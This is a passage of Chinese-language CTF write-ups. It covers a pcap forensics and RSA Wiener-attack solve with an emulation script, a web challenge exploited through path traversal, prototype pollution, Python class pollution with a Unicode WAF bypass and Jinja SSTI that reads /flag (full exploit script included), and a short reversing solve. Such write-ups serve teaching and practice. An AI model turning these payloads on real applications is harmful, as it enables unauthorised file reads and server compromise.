openssl enc -aes-256-cbc -salt -pbkdf2 -pass pass:<32字节口令> -in flag.enc.(N-1).tar -out flag.enc.N.tar
frame 170 : ls
frame 173 : base64 flag.enc.32.tar
这一步说明了整个攻击链:
先把flag.txt打包成flag.tar
连续 32 次openssl enc -aes-256-cbc -salt -pbkdf2
最后把flag.enc.32.tar做base64并回传
解开type=3回包
从frame 171验证场景
frame 170是ls,紧接着的frame 171是客户端回包。
对frame 171的type=3载荷分块做 RSA 逆运算后,可以得到明文目录列表:
flag.enc.10.tar
flag.enc.11.tar
flag.enc.32.tar
flag.tar
flag.txt
这一步证明回包恢复方向是对的。
Wiener attack
握手给出的指数e很大,但对应私钥极小,满足 Wiener attack 条件。
对(n, e)做 Wiener attack 后,恢复得到:
d = 860201604545360308442551
同时还恢复出了:
p = 11877272917836626308960275230687450079236367324739018015413817886625776113530658983611648222791641969404215281409842845774830578014520293521567446317075819
q = 9433509551723919601460798400366103605447451017912216295247603680322220803875809726613917618576729827825866195645060895561752471052682806806335478348074259
然后就可以用pow(c, d, n)解出type=3回包。
恢复frame 174
frame 173下发的命令是:
base64 flag.enc.32.tar
所以frame 174解出来的就是它的 base64 文本。前缀为:
U2FsdGVkX19hdUdldfZ1ljqDFSx8XnjLZQU3scpSwQoYqRNMCikRbVPMc+2OJPl+...
U2FsdGVkX1是 OpenSSL Salted__文件头的 base64,和前面的命令链完全对应。
逆 32 层 OpenSSL
从命令链里提取出 32 个-pass pass:...口令,按逆序逐层执行:
openssl enc -d -aes-256-cbc -salt -pbkdf2 -pass pass: -in flag.enc.i.tar -out flag.enc.(i-1).tar
exp
from future import annotations
import base64
import math
import shutil
import struct
import subprocess
import tarfile
from dataclasses import dataclass
from pathlib import Path
from elftools.elf.elffile import ELFFile
from unicorn import Uc, UC_ARCH_X86, UC_HOOK_CODE, UC_MODE_64
from unicorn.x86_const import UC_X86_REG_RDI, UC_X86_REG_RIP, UC_X86_REG_RSP
ROOT = Path(r"E:\Codex Work Folder")
PCAP = ROOT / "captchated.pcapng"
BASH = ROOT / "pcap_extract" / "bash"
PAGE = 0x1000
STACK_BASE = 0x70000000
STACK_SIZE = 0x200000
STOP_ADDR = 0x71000000
STATE_BASE = 0x72000000
STATE_SIZE = 0x200000
AA200 = 0xAA200
@dataclass
class Packet:
frame: int
src: str
dst: str
typ: int
payload: bytes
@dataclass
class HandshakeKey:
modulus: int
exponent: int
def run_tshark(*args: str) -> str:
cmd = ["tshark", "-r", str(PCAP), *args]
return subprocess.check_output(cmd, text=True, encoding="utf-8", errors="ignore")
def parse_packets() -> list[Packet]:
out = run_tshark(
"-Y",
"tcp.stream eq 1 && tcp.payload",
"-T",
"fields",
"-e",
"frame.number",
"-e",
"ip.src",
"-e",
"ip.dst",
"-e",
"tcp.payload",
)
packets: list[Packet] = []
for line in out.splitlines():
frame_s, src, dst, hex_payload = line.split("\t")
raw = bytes.fromhex(hex_payload)
if raw[:4] != b"DSMV":
continue
pkt_type = int.from_bytes(raw[4:8], "big")
payload_len = int.from_bytes(raw[8:12], "big")
payload = raw[12 : 12 + payload_len]
packets.append(Packet(int(frame_s), src, dst, pkt_type, payload))
return packets
def parse_handshake(packets: list[Packet]) -> HandshakeKey:
first = next(packet for packet in packets if packet.typ == 1)
modulus_hex, exponent_hex = first.payload.decode().split("|", 1)
return HandshakeKey(int(modulus_hex, 16), int(exponent_hex, 16))
def load_segments() -> list[tuple[int, bytes, int]]:
with BASH.open("rb") as f:
elf = ELFFile(f)
return [
(seg["p_vaddr"], seg.data(), seg["p_memsz"])
for seg in elf.iter_segments()
if seg["p_type"] == "PT_LOAD"
]
SEGMENTS = load_segments()
def build_uc() -> Uc:
uc = Uc(UC_ARCH_X86, UC_MODE_64)
for vaddr, data, memsz in SEGMENTS:
base = vaddr & ~(PAGE - 1)
end = (vaddr + memsz + PAGE - 1) & ~(PAGE - 1)
uc.mem_map(base, end - base)
uc.mem_write(vaddr, data)
uc.mem_map(STACK_BASE, STACK_SIZE)
uc.mem_map(STOP_ADDR & ~(PAGE - 1), PAGE)
uc.mem_map(STATE_BASE, STATE_SIZE)
uc.mem_write(STOP_ADDR, b"\xF4")
return uc
def decrypt_type2(payload: bytes, key: HandshakeKey) -> bytes:
out = bytearray()
for off in range(0, len(payload), 128):
block = payload[off : off + 128]
value = int.from_bytes(block, "big")
plain = pow(value, key.exponent, key.modulus)
out += plain.to_bytes(126, "big")
return bytes(out)
def decrypt_type3(payload: bytes, modulus: int, private_exp: int) -> bytes:
out = bytearray()
for off in range(0, len(payload), 128):
block = payload[off : off + 128]
value = int.from_bytes(block, "big")
plain = pow(value, private_exp, modulus)
block_len = max(1, (plain.bit_length() + 7) // 8)
out += plain.to_bytes(block_len, "big")
return bytes(out)
def read_c_string(uc: Uc, addr: int, limit: int = 0x1000) -> str:
data = bytearray()
for _ in range(limit):
byte = uc.mem_read(addr, 1)
if byte == b"\x00":
break
data += byte
addr += 1
return data.decode("latin1", errors="replace")
def emulate_vm(code: bytes) -> dict[str, object]:
uc = build_uc()
state = bytearray(0x11038)
struct.pack_into("<I", state, 0x24, 0xFFFC)
state[0x2C : 0x2C + len(code)] = code
uc.mem_write(STATE_BASE, bytes(state))
sp = STACK_BASE + STACK_SIZE - 0x1000
uc.reg_write(UC_X86_REG_RSP, sp)
uc.mem_write(sp, struct.pack("<Q", STOP_ADDR))
uc.reg_write(UC_X86_REG_RDI, STATE_BASE)
events: list[tuple[str, str]] = []
def on_code(uc: Uc, addr: int, _size: int, _user: object) -> None:
if addr != AA200:
return
reg0 = struct.unpack("<I", uc.mem_read(STATE_BASE, 4))[0]
cmd = read_c_string(uc, STATE_BASE + 0x2C + reg0, 0x200)
events.append(("popen", cmd))
uc.emu_stop()
uc.hook_add(UC_HOOK_CODE, on_code)
uc.emu_start(0xA98C0, STOP_ADDR)
out_len = struct.unpack("<Q", uc.mem_read(STATE_BASE + 0x11030, 8))[0]
out_data = bytes(uc.mem_read(STATE_BASE + 0x10030, out_len))
return {
"events": events,
"out_len": out_len,
"out_data": out_data,
"rip": uc.reg_read(UC_X86_REG_RIP),
}
def continued_fraction(num: int, den: int) -> list[int]:
items: list[int] = []
while den:
a = num // den
items.append(a)
num, den = den, num - a * den
return items
def convergents(cf: list[int]) -> list[tuple[int, int]]:
result: list[tuple[int, int]] = []
n0, d0 = 1, 0
n1, d1 = cf[0], 1
result.append((n1, d1))
for a in cf[1:]:
n0, n1 = n1, a * n1 + n0
d0, d1 = d1, a * d1 + d0
result.append((n1, d1))
return result
def wiener_attack(modulus: int, exponent: int) -> tuple[int, int, int]:
cf = continued_fraction(exponent, modulus)
for k, d in convergents(cf):
if k == 0:
continue
if (exponent * d - 1) % k:
continue
phi = (exponent * d - 1) // k
s = modulus - phi + 1
disc = s * s - 4 * modulus
if disc < 0:
continue
t = math.isqrt(disc)
if t * t != disc:
continue
p = (s + t) // 2
q = (s - t) // 2
if p * q == modulus:
return d, p, q
raise ValueError("Wiener attack failed")
def parse_command_chain(packets: list[Packet], key: HandshakeKey) -> list[tuple[int, str]]:
chain: list[tuple[int, str]] = []
for packet in packets:
if packet.typ != 2:
continue
plain = decrypt_type2(packet.payload, key)
code_len = int.from_bytes(plain[:4], "big")
code = plain[4 : 4 + code_len]
vm = emulate_vm(code)
for kind, value in vm["events"]:
if kind == "popen":
chain.append((packet.frame, value))
return chain
def parse_passwords(chain: list[tuple[int, str]]) -> list[str]:
passwords: list[str] = []
for _, command in chain:
marker = "-pass pass:"
if marker not in command:
continue
passwords.append(command.split(marker, 1)[1].split(" ", 1)[0])
return passwords
def find_packet(packets: list[Packet], frame: int) -> Packet:
return next(packet for packet in packets if packet.frame == frame)
def find_openssl() -> str:
candidates = [
shutil.which("openssl"),
shutil.which("openssl.exe"),
r"C:\msys64\ucrt64\bin\openssl.exe",
]
for candidate in candidates:
if candidate and Path(candidate).exists():
return candidate
raise FileNotFoundError("openssl executable not found")
def main() -> None:
packets = parse_packets()
key = parse_handshake(packets)
private_exp, p, q = wiener_attack(key.modulus, key.exponent)
print(f"[+] n = {key.modulus:x}")
print(f"[+] e = {key.exponent:x}")
print(f"[+] Wiener private d = {private_exp}")
print(f"[+] p = {p}")
print(f"[+] q = {q}")
chain = parse_command_chain(packets, key)
print("[+] Extracted VM command chain:")
for frame, command in chain:
print(f" frame {frame}: {command}")
frame_171 = find_packet(packets, 171)
frame_174 = find_packet(packets, 174)
listing = decrypt_type3(frame_171.payload, key.modulus, private_exp).decode()
base64_blob = decrypt_type3(frame_174.payload, key.modulus, private_exp).decode()
print("frame 171 plaintext:")
print(listing)
print(" frame 174 base64 prefix:")
print(base64_blob[:160])
enc_tar = base64.b64decode(base64_blob)
enc_tar_path = ROOT / "flag.enc.32.tar"
enc_tar_path.write_bytes(enc_tar)
print(f" Wrote {enc_tar_path} ({len(enc_tar)} bytes)")
passwords = parse_passwords(chain)
if len(passwords) != 32:
raise ValueError(f"expected 32 passwords, got {len(passwords)}")
openssl = find_openssl()
current = enc_tar_path
for layer, password in reversed(list(enumerate(passwords, start=1))):
out_path = ROOT / (f"flag.dec.{layer - 1}.tar" if layer > 1 else "flag.tar")
cmd = [
openssl,
"enc",
"-d",
"-aes-256-cbc",
"-salt",
"-pbkdf2",
"-pass",
f"pass:{password}",
"-in",
str(current),
"-out",
str(out_path),
]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
raise RuntimeError(f"openssl failed at layer {layer}: {result.stderr}")
print(f" Decrypted layer {layer:02d} -> {out_path.name}")
current = out_path
extract_dir = ROOT / "flag_tar_extracted"
extract_dir.mkdir(exist_ok=True)
with tarfile.open(current, "r") as tar:
tar.extractall(extract_dir)
flag_path = extract_dir / "flag.txt"
flag = flag_path.read_text().strip()
print(f"flag path: {flag_path}")
print(f"FLAG: {flag}")
if name == "main":
main()Web-asystem
考的是多漏洞利用链,主要有两个组件
Flask网关和nodejs文件处理
利用链如下:flask的/download任意文件读取获取前后端源码,之后在node的kmz解析链里触发原型污染注入fix_secret,然后调用flask /api/fix_secret间接执行node的/admin?fix=true,利用/register对象属性污染清空WAF,最后利用/protected的SSTI读flag
题目给了源码,首先审计一下
@app.route('/download', methods=['GET'])
def download_file():
filename = request.args.get("filename")
if not filename:
return {"error": "..."}, 400
if "flag" in filename.lower() or "config" in filename.lower():
return "you cant"
if filename.startswith("/"):
file_path = "/datas/upload_files" + filename
else:
file_path = "/datas/upload_files/" + filename
return send_file(file_path, as_attachment=True)可以发现filename被直接拼接到路径后面,缺失路径归一化和目录限制,而且WAF只有flag和config,可以尝试路径穿越
构建payload尝试获取远端的源码,确认与下发的一致
/download?filename=../../proc/self/cwd/app.py利用同样的方式获取nodejs的源码
/download?filename=../../server/app.js在里面提取出关键逻辑
const CONFIG_PATH = path.join(__dirname, 'config');
let admin_secret = '';
try {
admin_secret = fs.readFileSync(CONFIG_PATH, 'utf8');
} catch (err) {
admin_secret = '';
}
app.get('/admin', (req, res) => {
const ip = req.ip || req.socket.remoteAddress || '';
const isLocal =
ip === '127.0.0.1' ||
ip === '::1' ||
ip === '::ffff:127.0.0.1';
if (!isLocal) {
return res.status(403).json({
code: 403,
message: 'forbidden',
ip: ip
});
}
const fix = req.query.fix;
if (fix === 'true' && FIX_SECRET !== undefined) {
fs.writeFileSync(CONFIG_PATH, String(FIX_SECRET), 'utf8');
admin_secret = String(FIX_SECRET);
return res.json({
code: 0,
message: 'fixed',
data: {
admin_secret: admin_secret
}
});
}
return res.json({
code: 0,
message: 'ok',
data: {
admin_secret: admin_secret
}
});
});可以看到/admin只能本地访问,而且/admin?fix=true的变量是缺失的,如果我们补全这个fix_secret就可以间接外部访问admin
if (ext === '.kmz') {
const safeFilename = buildSafeFilename(originalname);
const kmzPath = path.join(ARC_DIR, safeFilename);
fs.writeFileSync(kmzPath, req.file.buffer);
try {
parseKMZ.toKML(kmzPath).then((kmlString) => {
parser.xmlToJson(kmlString, (err,json)=>{
if (err) {
return res.status(500).json({
code: 5002,
message: 'kmz parse failed',
error: err.message,
stack: err.stack
});
}
const jsonFilename = safeFilename.replace(/\.kmz$/i, '.json');
const jsonPath = path.join(ARC_DIR, jsonFilename);
fs.writeFileSync(jsonPath, JSON.stringify(json, null, 2), 'utf8');
return res.json({
code: 0,
message: 'kmz parsed and saved',
data: {
originalname: originalname,
kmzPath: kmzPath,
jsonPath: jsonPath
}
});
});
}).catch(console.error);看kmz分支和其依赖的xml转json的js,可以看到它完全信任 XML 标签名作为对象键名,没有过滤proto、constructor、prototype,可以使用
<__proto__>
<FIX_SECRET>known-secret</FIX_SECRET>
</__proto__>进行注入
接下来从flask入手准备开始攻击
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)@app.route('/register', methods=['POST'])
def register():
raw_str = request.get_data(as_text=True)
test_waf = raw_str.lower().replace('"', '')
for word in WAF:
if word in test_waf:
return jsonify({'message': 'Invalid input detected', 'word': word}), 400
data = json.loads(raw_str)
user = User()
merge(data, user)这里merge()会沿着对象属性一直递归进去,所以可以构造
user -> __class__ -> __init__ -> __globals__进而修改WAF,虽然/register有WAF,但是可以用Unicode直接绕过,从而清掉WAF
然后打/protected的SSTI
@app.route('/protected', methods=['GET'])
def protected():
current_user = request.args.get('user', 'guest')
password = request.args.get('password', 'user')
response = requests.get(f'{NODE_BACKEND_URL}/admin', timeout=5)
data = response.json()
admin_secret_value = data['data'].get('admin_secret')
if password != admin_secret_value:
return "not allowed"
if '{{' in current_user or '}}' in current_user:
return jsonify({'message': 'Invalid input detected', 'word': '{ or }'}), 400
for word in WAF:
if word in current_user:
return jsonify({'message': 'Invalid input detected', 'word': word}), 400
resp = render_template_string(
f"Hello, {current_user}! You have access to this protected route."
)
return jsonify({'message': f'Hello, {current_user}! You have access to this protected route.'[-40:]})根据源码,可以看到用户的输入直接被用在render_template_string里,而且没有ban掉{%
{%if EXPRESSION%}{%endif%}可以尝试使用语句块
{%if cycler.__init__.__globals__.__builtins__.open('/datas/upload_files/out.txt','w').write(
cycler.__init__.__globals__.__builtins__.open('/flag').read())%}{%endif%}把flag写进文件里,利用获取源码的途径把它也下载到本地
完整exp:
import io
import json
import zipfile
import requests
BASE_URL = "http://web-847ff08497.adworld.xctf.org.cn:80"
OUT_FILE = "out.txt"
def spray_register(session, payload, times=10):
for i in range(times):
resp = session.post(
f"{BASE_URL}/register",
data=payload,
headers={
"Content-Type": "application/json",
"Connection": "close",
},
timeout=10,
)
print(f"[register:{i}] {resp.status_code} {resp.text[:120]}")
def build_kmz(xml_text):
mem = io.BytesIO()
with zipfile.ZipFile(mem, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("doc.kml", xml_text)
mem.seek(0)
return mem.getvalue()
def restore_backend_url(session):
payload = (
'{"\\u005f\\u005fclass\\u005f\\u005f":'
'{"\\u005f\\u005f\\u0069n\\u0069t\\u005f\\u005f":'
'{"\\u005f\\u005fgloba\\u006cs\\u005f\\u005f":'
'{"NODE\\u005fBACKEND\\u005fU\\u0052L":"http:\\u002f\\u002f127.0.0.1:3000"}'
" } } }"
)
spray_register(session, payload)
def pollute_node_fix_secret(session):
xml = "<__proto__><FIX_SECRET>known-secret</FIX_SECRET></__proto__>"
kmz = build_kmz(xml)
resp = session.post(
f"{BASE_URL}/api/upload",
files={"file": ("pollute.kmz", kmz, "application/vnd.google-earth.kmz")},
timeout=30,
)
print(f"[api/upload] {resp.status_code} {resp.text}")
resp.raise_for_status()
def fix_admin_secret(session):
resp = session.get(f"{BASE_URL}/api/fix-secret", timeout=20)
print(f"[api/fix-secret] {resp.status_code} {resp.text}")
resp.raise_for_status()
data = resp.json()
secret = data["data"]["admin_secret"]
return secret
def clear_flask_waf(session):
payload = (
'{"\\u005f\\u005fclass\\u005f\\u005f":'
'{"\\u005f\\u005f\\u0069n\\u0069t\\u005f\\u005f":'
'{"\\u005f\\u005fgloba\\u006cs\\u005f\\u005f":'
'{"WAF":""}'
" } } }"
)
spray_register(session, payload, times=20)
def read_flag_via_ssti(session, secret):
payload = (
"{%if cycler.__init__.__globals__.__builtins__.open('/datas/upload_files/out.txt','w').write("
"cycler.__init__.__globals__.__builtins__.open('/flag').read())%}{%endif%}"
)
resp = session.get(
f"{BASE_URL}/protected",
params={"user": payload, "password": secret},
timeout=20,
)
print(f"[protected] {resp.status_code} {resp.text}")
resp.raise_for_status()
resp = session.get(
f"{BASE_URL}/download",
params={"filename": OUT_FILE},
timeout=20,
)
print(f"[download] {resp.status_code} {resp.text}")
resp.raise_for_status()
return resp.text.strip()
def main():
session = requests.Session()
restore_backend_url(session)
pollute_node_fix_secret(session)
secret = fix_admin_secret(session)
print(f"[secret] {secret}")
clear_flask_waf(session)
flag = read_flag_via_ssti(session, secret)
print(f"[flag] {flag}")
if __name__ == "__main__":
main()Flag:
flag{20G4XKc7bbRlNL7jrHs9I6yHFNpGWkhw}Stage3
Reverse-eniffa
shfit+f12在字符串窗口中发现 Enter flag、Wrong、Correct 等关键字符串,说明程序存在典型的输入校验逻辑,可据此定位主函数
在主函数 sub_405726 中,程序先通过 fgets 读取输入,再用 strlen 判断长度是否为 26。随后调用 sub_40564C对输入进行变换,最后与栈上的 26 字节常量进行比较,因此核心就是还原该变换。
在 sub_40564C 中可以看出,程序先对每个字符执行buf[i] = (i + 1) * (input[i] + 2)之后再对整个字节序列进行反转。由于比较目标常量已知,因此可以直接对该过程逆向求解就行了
最后exp
v = list((0x3DC0F1E2952091E6).to_bytes(8, "little"))
v += list((28712).to_bytes(2, "little"))
v += list((0x7B1A99A48ABCDB00).to_bytes(8, "little"))
v += list((0x68DC29A471BEE658).to_bytes(8, "little"))
s = ""
for i in range(26):
t = v[25 - i]
for x in range(256):
if ((i + 1) * (x + 2)) & 0xff == t and chr(x) in "abcdefghijklmnopqrstuvwxyz0123456789_{}":
s += chr(x)
break
print(s)Flag
flag{shiagia00snnrmnkq1j7}